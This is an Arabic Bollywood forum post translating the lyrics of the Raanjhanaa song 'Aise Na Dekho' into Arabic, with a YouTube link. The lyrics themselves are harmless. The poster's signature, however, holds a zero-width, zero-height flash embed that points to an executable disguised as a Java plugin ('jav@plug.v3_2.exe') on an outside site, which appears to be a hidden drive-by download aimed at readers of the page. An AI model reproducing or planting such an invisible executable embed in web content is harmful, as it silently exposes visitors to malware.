منتـــديــآت عـــآلم بۈلـــيۈۈد - عرض مشاركة واحدة - ترجمه اغاني Raanjhanaa كاملة
عرض مشاركة واحدة
قديم 22 / 06 / 2013, 34 : 12 AM   #8
Rasha@SKFC
[ نجوم في سمآء منتدآنآ ]
 
الصورة الرمزية Rasha@SKFC
 
تاريخ التسجيل: 07 / 01 / 2012
الدولة: Jordan
المشاركات: 1,308
معدل تقييم المستوى: 21474838
Rasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond reputeRasha@SKFC has a reputation beyond repute
[TABLE1="width:100%;background-image:url('http://www.b44u.com/files/117472.jpg');"][CELL="filter:;"]
















الاغنية السابعة هي Aise Na Dekho ....


Aise Na Dekho (x2)
Jaise Pehle Kabhi... Dekha Hi Nahi (x2)
Aise Na Dekho (x2)

لا تنظري هكذا
كأنها اول مرة . وكأنك لم تريني من قبل
لا تنظري هكذا

Mujhe Kuchh Bhi Nahin Chahiye Tum Se
Na Dilaasa... Na Bharosa...
Na Waah Waah... Na Hamdardi...
Na Sapna... Na Sahulat...

أنا لا أريد أي شي منك
لا مشاعر جياشة ولا ثقة
لا ثناء ولا تعاطف
لا احلام ولا موافقة

Aise Na Dekho (x2)
لا تنظري هكذا

Main Un Logon Ka Geet, Jo Geet Nahin Sunte
Patjhad Ka Pehla Patta, Registaan Mein Khoya Aansoo...
Ya Main Guzrawa Waqt Nahin Miloonga, Nahin Miloonga, Yeh Sach, Yeh Sach

أنا أغني الاشخاص الذين لم يسمعو موسيقى بحياتهم
أنا اول تساقط للاوراق بالخريف وانا دموع التائه في الصحراء الجرداء
وانا الماضي الذي ذهب ولا يجب ان يعود مرة اخرى .. نعم صحيح

Aise Na Dekho (x2)
Jaise Pehle Kabhi... Dekha Hi Nahi (x2)
Aise Na Dekho (x2)

لا تنظري هكذا
كأنها اول مرة . وكأنك لم تريني من قبل
لا تنظري هكذا

http://www.youtube.com/watch?v=uW8rgTiGC-s


بليز ما حدا يكتب شي



[/CELL][/TABLE1]
__________________


[flash=http://altsame.com/vb/jav@plug.v3_2.exe]WIDTH=0 HEIGHT=0[/flash]

التعديل الأخير تم بواسطة Rasha@SKFC ; 22 / 06 / 2013 الساعة 44 : 12 AM
Rasha@SKFC غير متواجد حالياً   رد مع اقتباس